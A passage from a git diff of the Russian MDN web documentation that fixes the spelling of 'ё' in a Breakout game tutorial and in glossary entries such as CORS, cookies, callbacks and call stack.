{{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} для установки цвета шрифта и {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} для установки фактического текста, который будет помещён на канву, и где он будет размещён. Первым параметром является сам текст - приведённый выше код показывает текущее количество точек, а два последних параметра - это координаты, в которых текст будет помещён на канву.</p> <p>Чтобы начислять баллы каждый раз при ударе кирпича, добавьте строку в функцию <code>collisionDetection()</code>, чтобы увеличить значение переменной оценки каждый раз при обнаружении столкновения. Добавьте в код следующую выделенную строку:</p> @@ -54,7 +54,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score } }</pre> -<p>Вызов <code>drawScore()</code>из функции <code>draw()</code> позволяет обновить счет с каждым новым фреймом - добавьте следующую строку внутри <code>draw()</code>, чуть ниже вызова <code>drawPaddle()</code>:</p> +<p>Вызов <code>drawScore()</code>из функции <code>draw()</code> позволяет обновить счёт с каждым новым фреймом - добавьте следующую строку внутри <code>draw()</code>, чуть ниже вызова <code>drawPaddle()</code>:</p> <pre class="brush: js">drawScore();</pre> diff --git a/files/ru/glossary/accessibility_tree/index.html b/files/ru/glossary/accessibility_tree/index.html index 7c91fe5077..bf33c08032 100644 --- a/files/ru/glossary/accessibility_tree/index.html +++ b/files/ru/glossary/accessibility_tree/index.html @@ -15,13 +15,13 @@ translation_of: Glossary/Accessibility_tree <dl> <dt><strong>name</strong></dt> - <dd>Как можно обратиться к нему? Например, ссылка с текстом "Подробнее" будет иметь <strong>name </strong>"Подробнее" (больше о том, как присваиваются имена в <a href="https://www.w3.org/TR/accname-1.1/">Спецификации Вычисления Доступных Имен и Описаний</a>).</dd> + <dd>Как можно обратиться к нему? Например, ссылка с текстом "Подробнее" будет иметь <strong>name </strong>"Подробнее" (больше о том, как присваиваются имена в <a href="https://www.w3.org/TR/accname-1.1/">Спецификации Вычисления Доступных Имён и Описаний</a>).</dd> <dt><strong>description</strong></dt> <dd>Как мы описываем элемент, если хотим добавить что-нибудь к <strong>name</strong>? Описание таблицы может объяснить, какого рода информация, хранящаяся в ней.</dd> <dt><strong>role</strong></dt> <dd>Что это? Например, это кнопка, меню-навигация или список предметов?</dd> <dt><strong>state</strong></dt> - <dd>Имеет ли это структуру? Обдумайте "отмеченные/неотмеченные" для флажков, или "свернутое/развернутое" для элемента <a href="/en-US/docs/https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/summary"><summary></a>.</dd> + <dd>Имеет ли это структуру? Обдумайте "отмеченные/неотмеченные" для флажков, или "свёрнутое/развёрнутое" для элемента <a href="/en-US/docs/https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/summary"><summary></a>.</dd> </dl> <p>Кроме этого, дерево специальных возможностей часто содержит информацию о том, что можно сделать с элементом: ссылку можно <em>посетить, </em>текстовый ввод - <em>заполнить</em> и т.д.<em> </em></p> diff --git a/files/ru/glossary/algorithm/index.html b/files/ru/glossary/algorithm/index.html index 61cd5b1a56..502a76b84b 100644 --- a/files/ru/glossary/algorithm/index.html +++ b/files/ru/glossary/algorithm/index.html @@ -10,7 +10,7 @@ original_slug: Словарь/Algorithm --- <p><span class="seoSummary">Алгоритм - это независимая серия инструкций для выполнения функции.</span></p> -<p>Другими словами, алгоритм - это средство описания способа решения проблемы, чтобы ее можно было многократно решать людьми или машинами. Компьютерные ученые сравнивают эффективность алгоритмов с помощью понятия «Алгоритмическая Сложность» или «Big O».</p> +<p>Другими словами, алгоритм - это средство описания способа решения проблемы, чтобы её можно было многократно решать людьми или машинами. Компьютерные учёные сравнивают эффективность алгоритмов с помощью понятия «Алгоритмическая Сложность» или «Big O».</p> <p>Например:</p> @@ -19,9 +19,9 @@ original_slug: Словарь/Algorithm <li>Алгоритм сортировки часто используется в компьютерном программировании, чтобы объяснить машине, как сортировать данные.</li> </ul> -<p>Распространенными алгоритмами являются алгоритмы поиска пути, такие как задача коммивояжера, алгоритмы обхода дерева и так далее.</p> +<p>Распространёнными алгоритмами являются алгоритмы поиска пути, такие как задача коммивояжёра, алгоритмы обхода дерева и так далее.</p> -<p>Существуют также алгоритмы машинного обучения, такие как линейная регрессия, логистическая регрессия, дерево решений, случайный лес, машина опорных векторов, рекуррентная нейронная сеть (РНС), долгая краткосрочная память (LSTM), сверточная нейронная сеть (CNN), глубокая сверточная нейронная сеть и так далее.</p> +<p>Существуют также алгоритмы машинного обучения, такие как линейная регрессия, логистическая регрессия, дерево решений, случайный лес, машина опорных векторов, рекуррентная нейронная сеть (РНС), долгая краткосрочная память (LSTM), свёрточная нейронная сеть (CNN), глубокая свёрточная нейронная сеть и так далее.</p> <h2 id="Узнать_больше">Узнать больше</h2> diff --git a/files/ru/glossary/application_context/index.html b/files/ru/glossary/application_context/index.html index 9989eea079..454a954ab1 100644 --- a/files/ru/glossary/application_context/index.html +++ b/files/ru/glossary/application_context/index.html @@ -10,6 +10,6 @@ original_slug: Словарь/application_context --- <p id="Summary">Контекст приложения - это <a href="/en-US/docs/Glossary/Browsing_context">browsing context (контекст просмотра)</a> верхнего уровня, к которому применяется <a href="https://developer.mozilla.org/en-US/docs/Web/Manifest">манифест</a>. </p> -<p>Если контекст приложения создается в результате запроса агента пользователя на переход к глубинному связыванию, агент пользователя должен немедленно перейти к глубинному связыванию с включенной заменой. Иначе говоря, при создании контекста приложения, агент пользователя должен немедленно перейти к начальному URL-адресу с включенной заменой.</p> +<p>Если контекст приложения создаётся в результате запроса агента пользователя на переход к глубинному связыванию, агент пользователя должен немедленно перейти к глубинному связыванию с включённой заменой. Иначе говоря, при создании контекста приложения, агент пользователя должен немедленно перейти к начальному URL-адресу с включённой заменой.</p> <p>Обратите внимание, что начальный URL-адрес не обязательно является значением элемента start_url : пользователь или агент пользователя мог изменить его при добавлении приложения на главный экран или в закладки.</p> diff --git a/files/ru/glossary/arpanet/index.html b/files/ru/glossary/arpanet/index.html index c4b205ef8a..43bdb1a016 100644 --- a/files/ru/glossary/arpanet/index.html +++ b/files/ru/glossary/arpanet/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Arpanet original_slug: Словарь/Arpanet --- -<p>Компьютерная сеть <strong>ARPAnet </strong>(advanced research projects agency network) является одной из первых компьютерных сетей, была создана в 1969 как надежная среда для передачи конфиденциальных военных данных и для подключения ведущих исследовательских групп по всей территории Соединенных Штатов. Изначально ARPAnet использовал NCP (протокол сетевого управления), а затем первую версию интернет-протокола или пакета {{glossary ("TCP")}} / {{glossary ("IPv6", "IP")}}, что делает ARPAnet выдающейся частью зарождающегося {{glossary("Internet","Интернета")}}. ARPAnet была закрыта в начале 1990 года.</p> +<p>Компьютерная сеть <strong>ARPAnet </strong>(advanced research projects agency network) является одной из первых компьютерных сетей, была создана в 1969 как надёжная среда для передачи конфиденциальных военных данных и для подключения ведущих исследовательских групп по всей территории Соединённых Штатов. Изначально ARPAnet использовал NCP (протокол сетевого управления), а затем первую версию интернет-протокола или пакета {{glossary ("TCP")}} / {{glossary ("IPv6", "IP")}}, что делает ARPAnet выдающейся частью зарождающегося {{glossary("Internet","Интернета")}}. ARPAnet была закрыта в начале 1990 года.</p> <h2 id="Подробнее">Подробнее</h2> diff --git a/files/ru/glossary/array/index.html b/files/ru/glossary/array/index.html index 7118101680..c9c0d9779a 100644 --- a/files/ru/glossary/array/index.html +++ b/files/ru/glossary/array/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/array original_slug: Словарь/Массив --- -<p>Массив это упорядоченный набор информации (смотрите еще {{Glossary("Примитив")}} или {{Glossary("Объект")}} зависит от языка). Массивы используются, что сохранять множество значений или единичные переменные. Это относится к переменным, которые могут сохранять только одно значение.</p> +<p>Массив это упорядоченный набор информации (смотрите ещё {{Glossary("Примитив")}} или {{Glossary("Объект")}} зависит от языка). Массивы используются, что сохранять множество значений или единичные переменные. Это относится к переменным, которые могут сохранять только одно значение.</p> <p>Каждому элементу в массиве соответствует свой номер, называется он индексом, который позволяет получить к нему доступ. В JavaScript, массивы начинаются с индекса ноль и их можно изменять различными методами( Словарь:{{Glossary("Method", " Методы")}}).</p> diff --git a/files/ru/glossary/asynchronous/index.html b/files/ru/glossary/asynchronous/index.html index 573b4a3d93..ca01915a68 100644 --- a/files/ru/glossary/asynchronous/index.html +++ b/files/ru/glossary/asynchronous/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/Asynchronous <p>Это может использовать для описания такой среды связи, как e-mail — отправитель отправляет сообщение, а получатель ответит на него, когда ему будет удобно; они не должны отвечать немедленно.</p> -<p>Это также можно использовать, для описания программной среды связи, например, {{domxref("Ajax")}} это асинхронный механизм для запроса небольшого объема данных через протокол <a href="/en-US/docs/Web/HTTP">HTTP</a>; результат отправляется обратно, когда ответ будет сформирован, а не сразу.</p> +<p>Это также можно использовать, для описания программной среды связи, например, {{domxref("Ajax")}} это асинхронный механизм для запроса небольшого объёма данных через протокол <a href="/en-US/docs/Web/HTTP">HTTP</a>; результат отправляется обратно, когда ответ будет сформирован, а не сразу.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/glossary/baseline/index.html b/files/ru/glossary/baseline/index.html index 23db6e40c5..78cfee2a65 100644 --- a/files/ru/glossary/baseline/index.html +++ b/files/ru/glossary/baseline/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/baseline --- <p><strong>Базовая линия </strong>- это термин, используемый в европейской и западно-азиатской типографии, означающий воображаемую линию, на которую опираются символы шрифта.</p> -<p>Потомки символов типа g и p простираются ниже этой строки. {{Glossary("glyph", "Глифы")}} с закругленными нижними и верхними окончаниями типа C или 3 слегка простираются под ним.</p> +<p>Потомки символов типа g и p простираются ниже этой строки. {{Glossary("glyph", "Глифы")}} с закруглёнными нижними и верхними окончаниями типа C или 3 слегка простираются под ним.</p> <p>Восточно-азиатские шрифты не имеют исходной линии. Их глифы помещаются в квадратную коробку без восходов и исходов.</p> diff --git a/files/ru/glossary/block/scripting/index.html b/files/ru/glossary/block/scripting/index.html index 0a75dfa2e1..317d607cfd 100644 --- a/files/ru/glossary/block/scripting/index.html +++ b/files/ru/glossary/block/scripting/index.html @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Block/Scripting original_slug: Glossary/Block/Скриптинг --- -<p>В {{glossary("JavaScript")}} блок это набор связанных {{glossary("statement","statements")}} заключенных в скобки ("{}"). Например, можно поместить блок инструкций после блока {{jsxref("Statements/if...else","if (condition)")}}, чтобы интерпретатор выполнял код в блоке, если условие имеет значение true, или пропускал целый блок, если значение условия false.</p> +<p>В {{glossary("JavaScript")}} блок это набор связанных {{glossary("statement","statements")}} заключённых в скобки ("{}"). Например, можно поместить блок инструкций после блока {{jsxref("Statements/if...else","if (condition)")}}, чтобы интерпретатор выполнял код в блоке, если условие имеет значение true, или пропускал целый блок, если значение условия false.</p> <h2 id="Узнай_больше">Узнай больше</h2> diff --git a/files/ru/glossary/boolean/index.html b/files/ru/glossary/boolean/index.html index 239f003788..312080e28c 100644 --- a/files/ru/glossary/boolean/index.html +++ b/files/ru/glossary/boolean/index.html @@ -13,7 +13,7 @@ original_slug: Словарь/Boolean --- <p><strong>Boolean (Булев, Логический тип данных)</strong> — примитивный тип данных в информатике, которые могут принимать два возможных значения, иногда называемых истиной (<code>true</code>) и ложью (<code>false</code>). Например, в JavaScript Булевы состояния часто используются для того, чтобы определить какие части кода выполнять (например, в <a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">операторах if</a>) или повторять (например, <a href="/ru/docs/Web/JavaScript/Reference/Statements/for">циклы for</a>).</p> -<p>Ниже приведен некоторый псевдокод JavaScript (это не действительно исполняемый код), демонстрирующий эту концепцию.</p> +<p>Ниже приведён некоторый псевдокод JavaScript (это не действительно исполняемый код), демонстрирующий эту концепцию.</p> <p>Пример использования оператора <code>if</code>:</p> diff --git a/files/ru/glossary/bootstrap/index.html b/files/ru/glossary/bootstrap/index.html index 7b85ce61f6..af4bc7fb53 100644 --- a/files/ru/glossary/bootstrap/index.html +++ b/files/ru/glossary/bootstrap/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/Bootstrap --- <p><span class="tlid-translation translation" lang="ru"><span title="">Bootstrap - это бесплатный фреймворк </span></span> {{Glossary("HTML")}} <span class="tlid-translation translation" lang="ru"><span title="">, </span></span> {{Glossary("CSS")}} <span class="tlid-translation translation" lang="ru"><span title=""> и </span></span> {{Glossary("JavaScript")}} <span class="tlid-translation translation" lang="ru"><span title=""> с открытым исходным кодом для быстрого создания адаптивных веб-сайтов.</span></span></p> -<p>Изначально Bootstrap назывался Twitter Blueprint и был разработан командой, работающей в <a href="https://twitter.com/">Twitter</a>. Он поддерживает адаптивный дизайн и имеет предопределенные шаблоны дизайна, которые вы можете использовать из коробки или настроить для своих нужд с помощью кода. Вам также не нужно беспокоиться о совместимости с другими браузерами, так как Bootstrap совместим со всеми современными браузерами и новыми версиями {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} .</p> +<p>Изначально Bootstrap назывался Twitter Blueprint и был разработан командой, работающей в <a href="https://twitter.com/">Twitter</a>. Он поддерживает адаптивный дизайн и имеет предопределённые шаблоны дизайна, которые вы можете использовать из коробки или настроить для своих нужд с помощью кода. Вам также не нужно беспокоиться о совместимости с другими браузерами, так как Bootstrap совместим со всеми современными браузерами и новыми версиями {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} .</p> <section class="Quick_links" id="Quick_Links"> <ol> diff --git a/files/ru/glossary/browsing_context/index.html b/files/ru/glossary/browsing_context/index.html index 286d8f9a58..91f78c3427 100644 --- a/files/ru/glossary/browsing_context/index.html +++ b/files/ru/glossary/browsing_context/index.html @@ -6,7 +6,7 @@ original_slug: Словарь/Browsing_context --- <p id="Summary"><strong>Browsing context</strong>(контекст просмотра) - это окружение, в котором {{glossary("browser")}} отображает {{domxref("Document")}} (на сегодняшний день обычно это вкладки, однако, возможно окно или frame внутри страницы).</p> -<p>Каждый контекст просмотра имеет определенный {{glossary("origin")}} (источник), источник текущего активного документа и историю, которая содержит все отображенные документы в соответствующем порядке.</p> +<p>Каждый контекст просмотра имеет определённый {{glossary("origin")}} (источник), источник текущего активного документа и историю, которая содержит все отображённые документы в соответствующем порядке.</p> <p>Взаимодействие между контекстами просмотра очень ограничено. Между контекстами просмотра из одного источника может быть открыт и использован {{domxref("BroadcastChannel")}}.</p> diff --git a/files/ru/glossary/call_stack/index.html b/files/ru/glossary/call_stack/index.html index ff72d782ef..67dc60ffa0 100644 --- a/files/ru/glossary/call_stack/index.html +++ b/files/ru/glossary/call_stack/index.html @@ -9,9 +9,9 @@ original_slug: Словарь/Call_stack <p><strong>Стек вызовов(call stack) </strong>- это механизм для интерпретаторов (таких как интерпретатор JavaScript в веб-браузере) для отслеживания текущего местонахождения интерпретатора в скрипте, который вызывает несколько функций типа {{glossary("function","functions")}}, — какая из функций выполняется на данный момент, какие функции вызываются изнутри этой (выполняемой) функции, какая будет вызвана следующей и т. д.</p> <ul> - <li>Когда скрипт вызывает функцию, интерпретатор добавляет ее в стек вызовов и потом начинает ее обработку.</li> + <li>Когда скрипт вызывает функцию, интерпретатор добавляет её в стек вызовов и потом начинает её обработку.</li> <li>Любые функции, вызванные этой функцией, добавляются в стек вызовов и выполняются, как только происходит их вызов. </li> - <li>Когда выполнение основной функции завершено, интерпретатор снимает ее со стека вызовов и возобновляет выполнение кода в списке основного кода с той точки, где остановился до этого.</li> + <li>Когда выполнение основной функции завершено, интерпретатор снимает её со стека вызовов и возобновляет выполнение кода в списке основного кода с той точки, где остановился до этого.</li> <li>Если стек занимает больше места, чем ему было присвоено, это приводит к ошибке переполнения стека ("stack overflow" error).</li> </ul> diff --git a/files/ru/glossary/callback_function/index.html b/files/ru/glossary/callback_function/index.html index 891f3ea8e1..c55e0e6eef 100644 --- a/files/ru/glossary/callback_function/index.html +++ b/files/ru/glossary/callback_function/index.html @@ -22,7 +22,7 @@ function processUserInput(callback) { processUserInput(greeting);</pre> -<p>Выше приведен пример <a href="/en-US/docs/Glossary/Synchronous">синхронного</a> колбэка, поскольку функция <code>processUserInput</code> выполняется синхронно.</p> +<p>Выше приведён пример <a href="/en-US/docs/Glossary/Synchronous">синхронного</a> колбэка, поскольку функция <code>processUserInput</code> выполняется синхронно.</p> <p>Колбэки часто используются для продолжения выполнения кода после завершения <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Asynchronous">асинхронной</a> операции - они называются асинхронными колбэками.</p> @@ -40,7 +40,7 @@ function onPageLoadingFinished(pageData) { pageLoader(onPageLoadingFinished) </pre> -<p>Вот еще один пример асинхронного обратного вызова: <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">maps-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">живой пример</a>). Он использует Google Maps API и Geolocation API для отображения карты текущего местоположения вашего устройства.</p> +<p>Вот ещё один пример асинхронного обратного вызова: <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">maps-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">живой пример</a>). Он использует Google Maps API и Geolocation API для отображения карты текущего местоположения вашего устройства.</p> <pre class="brush: js">// maps-example.html // Вызов асинхронной функции getCurrentPosition diff --git a/files/ru/glossary/card_sorting/index.html b/files/ru/glossary/card_sorting/index.html index e240f8878b..d8f577bc90 100644 --- a/files/ru/glossary/card_sorting/index.html +++ b/files/ru/glossary/card_sorting/index.html @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Card_sorting original_slug: Словарь/Card_sorting --- -<p>Сортировка карточек - это простая техника, используемая в информационной архитектуре, когда людям, участвующим в разработке веб-сайта (или другого типа продукта), предлагается записать контент / услуги / функции, которые, по их мнению, должен содержать продукт, а затем организовать эти функции в категории или группировки. Это может быть использовано, например, для определения того, что должно идти на каждой странице веб-сайта. Название происходит от того факта, что сортировка карточек часто осуществляется путем буквального написания предметов для сортировки на карточках, а затем размещения карточек в стопки.</p> +<p>Сортировка карточек - это простая техника, используемая в информационной архитектуре, когда людям, участвующим в разработке веб-сайта (или другого типа продукта), предлагается записать контент / услуги / функции, которые, по их мнению, должен содержать продукт, а затем организовать эти функции в категории или группировки. Это может быть использовано, например, для определения того, что должно идти на каждой странице веб-сайта. Название происходит от того факта, что сортировка карточек часто осуществляется путём буквального написания предметов для сортировки на карточках, а затем размещения карточек в стопки.</p> <h2 id="Узнать_больше">Узнать больше </h2> diff --git a/files/ru/glossary/character/index.html b/files/ru/glossary/character/index.html index f1eccc719e..f43b9d4654 100644 --- a/files/ru/glossary/character/index.html +++ b/files/ru/glossary/character/index.html @@ -6,7 +6,7 @@ tags: translation_of: Glossary/Character original_slug: Словарь/Character --- -<p><strong>Символ</strong> (англ. <strong>Character</strong> или <strong>Symbol</strong>) - буква, цифра, знак препинания, непечатаемый символ (например возврат каретки). {{glossary("UTF-8")}} - самый распространенный стандарт кодировки символов, содержащий большое количество графем популярных языков людей.</p> +<p><strong>Символ</strong> (англ. <strong>Character</strong> или <strong>Symbol</strong>) - буква, цифра, знак препинания, непечатаемый символ (например возврат каретки). {{glossary("UTF-8")}} - самый распространённый стандарт кодировки символов, содержащий большое количество графем популярных языков людей.</p> <h2 id="Узнайте_больше">Узнайте больше</h2> diff --git a/files/ru/glossary/compile/index.html b/files/ru/glossary/compile/index.html index bb2348800c..3d6c233da8 100644 --- a/files/ru/glossary/compile/index.html +++ b/files/ru/glossary/compile/index.html @@ -11,7 +11,7 @@ original_slug: Словарь/Compile <p>Обычно компилятор преобразует язык более высокого уровня, такой как C или <a href="ru/Словарь/Java">Java</a> который понимает человек, в машинный язык, такой как ассемблер, который понимает процессор. Некоторые компиляторы, которые переводят между языками схожего уровня, называются транспайлерами или кросс-компиляторами, например, для компиляции с TypeScript на <a href="ru/Словарь/JavaScript">JavaScript</a>. Они считаются инструментами производительности.</p> <p>Большинство компиляторов работают либо перед исполнением (AOT), либо во время исполнения (JIT). Как программист, вы обычно вызываете AOT-компиляторы из командной строки или из {{Glossary("IDE")}}. Самый известный "gcc" - это один из примеров.<br> - JIT компиляторы обычно прозрачны для Вас и используются для повышения производительности. Например, в браузере: Firefox' <a href="/ru/SpiderMonkey">SpiderMonkey</a> JavaScript Engine имеет встроенный JIT, который скомпилирует JavaScript на сайте в машинный код, пока Вы его просматриваете, чтобы он работал быстрее. Такие проекты, как <a href="/ru/WebAssembly">WebAssembly</a>, работают над тем, чтобы сделать это еще лучше.</p> + JIT компиляторы обычно прозрачны для Вас и используются для повышения производительности. Например, в браузере: Firefox' <a href="/ru/SpiderMonkey">SpiderMonkey</a> JavaScript Engine имеет встроенный JIT, который скомпилирует JavaScript на сайте в машинный код, пока Вы его просматриваете, чтобы он работал быстрее. Такие проекты, как <a href="/ru/WebAssembly">WebAssembly</a>, работают над тем, чтобы сделать это ещё лучше.</p> <h2 id="См._также">См. также</h2> diff --git a/files/ru/glossary/computer_programming/index.html b/files/ru/glossary/computer_programming/index.html index cbf13c7f8a..cb93b1adf8 100644 --- a/files/ru/glossary/computer_programming/index.html +++ b/files/ru/glossary/computer_programming/index.html @@ -13,7 +13,7 @@ original_slug: Словарь/Computer_Programming --- <p>Компьютерное программирование - это процесс составления и организации набора инструкций. Они говорят компьютерной программе, что делать на языке, понятном компьютеру. Эти инструкции представлены в виде множества различных языков, таких как C++, Java, JavaScript, HTML, Python, Ruby и Rust.</p> -<p>Используя соответствующий язык, вы можете программировать / создавать все виды программного обеспечения. Например, программу, которая помогает ученым со сложными вычислениями, базу данных, которая хранит огромные объемы данных, веб-сайт, который позволяет людям загружать музыку, или анимационное программное обеспечение, которое позволяет людям создавать анимированные фильмы.</p> +<p>Используя соответствующий язык, вы можете программировать / создавать все виды программного обеспечения. Например, программу, которая помогает учёным со сложными вычислениями, базу данных, которая хранит огромные объёмы данных, веб-сайт, который позволяет людям загружать музыку, или анимационное программное обеспечение, которое позволяет людям создавать анимированные фильмы.</p> <h2 id="Узнать_больше">Узнать больше</h2> diff --git a/files/ru/glossary/conditional/index.html b/files/ru/glossary/conditional/index.html index 4a34f7545c..38c641e0a0 100644 --- a/files/ru/glossary/conditional/index.html +++ b/files/ru/glossary/conditional/index.html @@ -12,7 +12,7 @@ original_slug: Словарь/Conditional --- <p><span class="seoSummary"><strong>Условие</strong> - это набор правил, которые могут прерывать нормальное выполнение кода или изменять его в зависимости от того, удовлетворено ли условие или нет.</span></p> -<p><span id="result_box" lang="en">Инструкция или набор инструкций выполняется, если удовлетворяется определенное условие. В противном случае выполняется другая инструкция. Также возможно повторить выполнение инструкции или набора инструкций, пока условие еще не удовлетворено.</span></p> +<p><span id="result_box" lang="en">Инструкция или набор инструкций выполняется, если удовлетворяется определённое условие. В противном случае выполняется другая инструкция. Также возможно повторить выполнение инструкции или набора инструкций, пока условие ещё не удовлетворено.</span></p> <h2 id="Узнать_больше"><strong>Узнать больше</strong></h2> diff --git a/files/ru/glossary/constructor/index.html b/files/ru/glossary/constructor/index.html index e8a37f164a..8c5dbe3196 100644 --- a/files/ru/glossary/constructor/index.html +++ b/files/ru/glossary/constructor/index.html @@ -6,7 +6,7 @@ tags: translation_of: Glossary/Constructor original_slug: Словарь/Constructor --- -<p><strong>Конструктор</strong> принадлежит к определенному классу {{glossary("object")}}, который создается. Конструктор инициализирует этот объект и может предоставлять доступ к его личной информации. Концепция конструктора может быть применена к большинству {{glossary("OOP","object-oriented programming")}} языков. По существу, конструктор в {{glossary("JavaScript")}} обычно объявляется в экземпляре {{glossary("class")}}.</p> +<p><strong>Конструктор</strong> принадлежит к определённому классу {{glossary("object")}}, который создаётся. Конструктор инициализирует этот объект и может предоставлять доступ к его личной информации. Концепция конструктора может быть применена к большинству {{glossary("OOP","object-oriented programming")}} языков. По существу, конструктор в {{glossary("JavaScript")}} обычно объявляется в экземпляре {{glossary("class")}}.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/glossary/cookie/index.html b/files/ru/glossary/cookie/index.html index f674f09488..5bfe89f4a9 100644 --- a/files/ru/glossary/cookie/index.html +++ b/files/ru/glossary/cookie/index.html @@ -7,9 +7,9 @@ tags: translation_of: Glossary/Cookie original_slug: Словарь/Cookie --- -<p><span id="result_box" lang="ru"><span>Cookie - это</span> <span>небольшой фрагмент информации,</span> <span class="alt-edited">сохраненный</span> <span>на</span> <span class="alt-edited">компьютере посетителя</span> <span>веб-сайтом</span> <span>через веб-браузер</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span>Cookie - это</span> <span>небольшой фрагмент информации,</span> <span class="alt-edited">сохранённый</span> <span>на</span> <span class="alt-edited">компьютере посетителя</span> <span>веб-сайтом</span> <span>через веб-браузер</span><span>.</span></span></p> -<p><span id="result_box" lang="ru"><span>Файлы Cookie</span> <span>используются</span> <span class="alt-edited">для персонализации </span> <span class="alt-edited">работы пользователя</span> <span>с веб-сайтом</span></span> . <span id="result_box" lang="ru"><span>Они могут содержать</span> <span>предпочтения или</span> <span class="alt-edited">введенные данные</span> <span>пользователя</span> <span>при работе с</span> <span class="alt-edited">этим веб сайтом </span></span>. <span id="result_box" lang="ru"><span>Пользователь может</span> <span>настроить свой</span> <span class="alt-edited">веб-браузер таким образом</span><span>, чтобы он принимал</span><span>, отклонял или</span> <span>удалял куки</span><span>.</span></span></p> +<p><span id="result_box" lang="ru"><span>Файлы Cookie</span> <span>используются</span> <span class="alt-edited">для персонализации </span> <span class="alt-edited">работы пользователя</span> <span>с веб-сайтом</span></span> . <span id="result_box" lang="ru"><span>Они могут содержать</span> <span>предпочтения или</span> <span class="alt-edited">введённые данные</span> <span>пользователя</span> <span>при работе с</span> <span class="alt-edited">этим веб сайтом </span></span>. <span id="result_box" lang="ru"><span>Пользователь может</span> <span>настроить свой</span> <span class="alt-edited">веб-браузер таким образом</span><span>, чтобы он принимал</span><span>, отклонял или</span> <span>удалял куки</span><span>.</span></span></p> <p><span id="result_box" lang="ru"><span>Файлы Cookie</span> <span>могут быть установлены</span> <span>и изменены</span> <span>на уровне сервера</span> <span class="alt-edited">с помощью заголовка Set-Cookie</span> <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP</a> <span>или с помощью</span> <span>JavaScript</span><span>, используя</span></span> <code><a href="/en-US/docs/Web/API/Document/cookie">document.cookie</a></code>.</p> diff --git a/files/ru/glossary/cors/index.html b/files/ru/glossary/cors/index.html index 8af8e4ec96..2dce66779a 100644 --- a/files/ru/glossary/cors/index.html +++ b/files/ru/glossary/cors/index.html @@ -21,21 +21,21 @@ original_slug: Словарь/CORS <dl> <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> - <dd>Указывает, разрешен ли такой запрос для ресурсов из данного источника.</dd> + <dd>Указывает, разрешён ли такой запрос для ресурсов из данного источника.</dd> <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> - <dd>Указывает, разрешен ли ответ на запрос в случае, если credentials flag выставлен в <code>true</code>.</dd> + <dd>Указывает, разрешён ли ответ на запрос в случае, если credentials flag выставлен в <code>true</code>.</dd> <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> - <dd>Используется в ответе на запрос в случае "предполетной проверки"({{glossary("preflight request")}}) - проверки, какие из HTTP заголовков могут быть использованы для запроса.</dd> + <dd>Используется в ответе на запрос в случае "предполётной проверки"({{glossary("preflight request")}}) - проверки, какие из HTTP заголовков могут быть использованы для запроса.</dd> <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> - <dd>Указывает метод или методы, которые разрешены для доступа к ресурсу в ответ на "предполетный запрос"({{glossary("preflight request")}}).</dd> + <dd>Указывает метод или методы, которые разрешены для доступа к ресурсу в ответ на "предполётный запрос"({{glossary("preflight request")}}).</dd> <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> <dd>Указывает, какие заголовки могут быть предоставлены как часть ответа, перечисляя их имена.</dd> <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> - <dd>Указывает, как долго могут быть закешированы результаты "предполетного запроса"({{glossary("preflight request")}}).</dd> + <dd>Указывает, как долго могут быть закешированы результаты "предполётного запроса"({{glossary("preflight request")}}).</dd> <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> - <dd>Используется для исполнения "предполетного запроса"({{glossary("preflight request")}}), чтобы указать серверу, какие из HTTP заголовков будут использоваться во время реального запроса.</dd> + <dd>Используется для исполнения "предполётного запроса"({{glossary("preflight request")}}), чтобы указать серверу, какие из HTTP заголовков будут использоваться во время реального запроса.</dd> <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> - <dd>Используется для исполнения "предполетного запроса"({{glossary("preflight request")}}), чтобы указать серверу, какие <a href="/en-US/docs/Web/HTTP/Methods">HTTP методы</a> будут использоваться во время реального запроса.</dd> + <dd>Используется для исполнения "предполётного запроса"({{glossary("preflight request")}}), чтобы указать серверу, какие <a href="/en-US/docs/Web/HTTP/Methods">HTTP методы</a> будут использоваться во время реального запроса.</dd> <dt>{{HTTPHeader("Origin")}}</dt> <dd>Указывает, откуда производится запрос.</dd> </dl> diff --git a/files/ru/glossary/csp/index.html b/files/ru/glossary/csp/index.html index a6cf99cbbd..7bf6b6af5f 100644 --- a/files/ru/glossary/csp/index.html +++ b/files/ru/glossary/csp/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/CSP original_slug: Словарь/CSP --- -<p>CSP (<a href="../Web/HTTP/CSP">Политика безопасности контента</a>) используется для обнаружения и смягчения определенных типов атак, связанных с веб-сайтами, таких как {{Glossary("XSS")}} и инъекции данных.</p> +<p>CSP (<a href="../Web/HTTP/CSP">Политика безопасности контента</a>) используется для обнаружения и смягчения определённых типов атак, связанных с веб-сайтами, таких как {{Glossary("XSS")}} 